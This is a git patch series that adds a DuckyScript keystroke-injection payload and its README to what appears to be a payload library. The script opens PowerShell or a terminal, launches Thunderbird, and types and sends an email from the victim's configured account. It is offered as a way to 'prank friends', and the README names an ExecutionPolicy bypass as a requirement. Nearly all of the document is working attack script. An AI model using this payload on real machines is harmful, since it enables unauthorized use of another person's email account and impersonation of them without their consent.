From 068f26015f5a9a9329231beac51bbc830047bac6 Mon Sep 17 00:00:00 2001 From: Aleff Date: Mon, 12 Jun 2023 12:18:19 +0200 Subject: [PATCH 1/3] Send Email Through Thunderbird --- .../SendEmailThroughThunderbird/payload.txt | 64 +++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 payloads/library/execution/SendEmailThroughThunderbird/payload.txt diff --git a/payloads/library/execution/SendEmailThroughThunderbird/payload.txt b/payloads/library/execution/SendEmailThroughThunderbird/payload.txt new file mode 100644 index 0000000..c2dd218 --- /dev/null +++ b/payloads/library/execution/SendEmailThroughThunderbird/payload.txt @@ -0,0 +1,64 @@ +REM ######################################################## +REM # | +REM # Title : Send Email Through Thunderbird | +REM # Author : Aleff | +REM # Version : 1.0 | +REM # Category : Execution | +REM # Target : Windows 10/11 - Linux(debian tested) | +REM # | +REM ######################################################## + + +REM Requirements: +REM - Internet Connection +REM - Thunderbird installed and email configured +REM - ExecutionPolicy Bypass (for Windows target) + +REM This payload is tested on: +REM - Ubuntu 23.04 +REM - Windows 11 + +REM REQUIRED - Set receiver email address +DEFINE EMAIL-ADDRESS example@change-it.org + +REM REQUIRED - Set email Subject +DEFINE SUBJECT example + +REM REQUIRED - Set email message +DEFINE MESSAGE example + + +REM # PowerShell +DELAY 1000 +GUI r +DELAY 1000 +STRING powershell +ENTER +DELAY 2000 +STRINGLN Start-Process "thunderbird.exe" +DELAY 4000 + +REM # Thunderbird +CTRL n +DELAY 2000 +STRING EMAIL-ADDRESS +DELAY 500 +TAB +DELAY 500 +TAB +DELAY 500 +STRING SUBJECT +DELAY 500 +TAB +DELAY 500 +STRING MESSAGE +DELAY 500 +CTRL ENTER +DELAY 2000 +ENTER + +REM # End actions +DELAY 2000 +ALT F4 +DELAY 1000 +ALT F4 From c6819b3b9c6f5b2b769084601e421b37bbc7d3dd Mon Sep 17 00:00:00 2001 From: aleff-github Date: Mon, 12 Jun 2023 12:18:39 +0200 Subject: [PATCH 2/3] Create README.md --- .../SendEmailThroughThunderbird/README.md | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 payloads/library/execution/SendEmailThroughThunderbird/README.md diff --git a/payloads/library/execution/SendEmailThroughThunderbird/README.md b/payloads/library/execution/SendEmailThroughThunderbird/README.md new file mode 100644 index 0000000..ba9d33f --- /dev/null +++ b/payloads/library/execution/SendEmailThroughThunderbird/README.md @@ -0,0 +1,48 @@ +# Send Email Through Thunderbird + +This payload can be used to prank friends by sending emails at top speed from their thunderbird clients. + +**Category**: Execution + +## Description + +This payload can be used to prank friends by sending emails at top speed from their thunderbird clients. + +This payload opens a shell (or powershell if running on windows), starts the Thunderbird application, and via the CTRL N sequence starts the email sending functionality that is not protected by any security system. After that it writes the recipient's email, the subject of the email and the body of the message and sends. + +## Getting Started + +### Windows 11 + +```DuckyScript +DELAY 1000 +GUI r +DELAY 1000 +STRING powershell +ENTER +DELAY 2000 +STRINGLN Start-Process "thunderbird.exe" +DELAY 4000 +``` + +### Ubuntu 23.04 + +```DuckyScript +DELAY 1000 +CTRL-ALT t +DELAY 2000 +STRINGLN thunderbird +DELAY 4000 +``` + +### Dependencies + +* Internet Connection +* Thunderbird installed and email configured +* ExecutionPolicy Bypass (for Windows target) + +### Settings + +- Receiver email address +- Email Subject +- Email Message \ No newline at end of file From 9e2045708ff59a97694f6231258aa27afd69f42e Mon Sep 17 00:00:00 2001 From: Kalani Helekunihi <324833+kalanihelekunihi@users.noreply.github.com> Date: Mon, 12 Jun 2023 14:24:01 -0400 Subject: [PATCH 3/3] Update payload.txt --- .../SendEmailThroughThunderbird/payload.txt | 16 ++-------------- 1 file changed, 2 insertions(+), 14 deletions(-) diff --git a/payloads/library/execution/SendEmailThroughThunderbird/payload.txt b/payloads/library/execution/SendEmailThroughThunderbird/payload.txt index c2dd218..877848a 100644 --- a/payloads/library/execution/SendEmailThroughThunderbird/payload.txt +++ b/payloads/library/execution/SendEmailThroughThunderbird/payload.txt @@ -27,14 +27,11 @@ DEFINE SUBJECT example REM REQUIRED - Set email message DEFINE MESSAGE example - +DEFAULT_DELAY 1000 REM # PowerShell -DELAY 1000 GUI r -DELAY 1000 STRING powershell ENTER -DELAY 2000 STRINGLN Start-Process "thunderbird.exe" DELAY 4000 @@ -42,23 +39,14 @@ REM # Thunderbird CTRL n DELAY 2000 STRING EMAIL-ADDRESS -DELAY 500 -TAB -DELAY 500 -TAB -DELAY 500 +REPEAT 2 TAB STRING SUBJECT -DELAY 500 TAB -DELAY 500 STRING MESSAGE -DELAY 500 CTRL ENTER DELAY 2000 ENTER REM # End actions -DELAY 2000 ALT F4 -DELAY 1000 ALT F4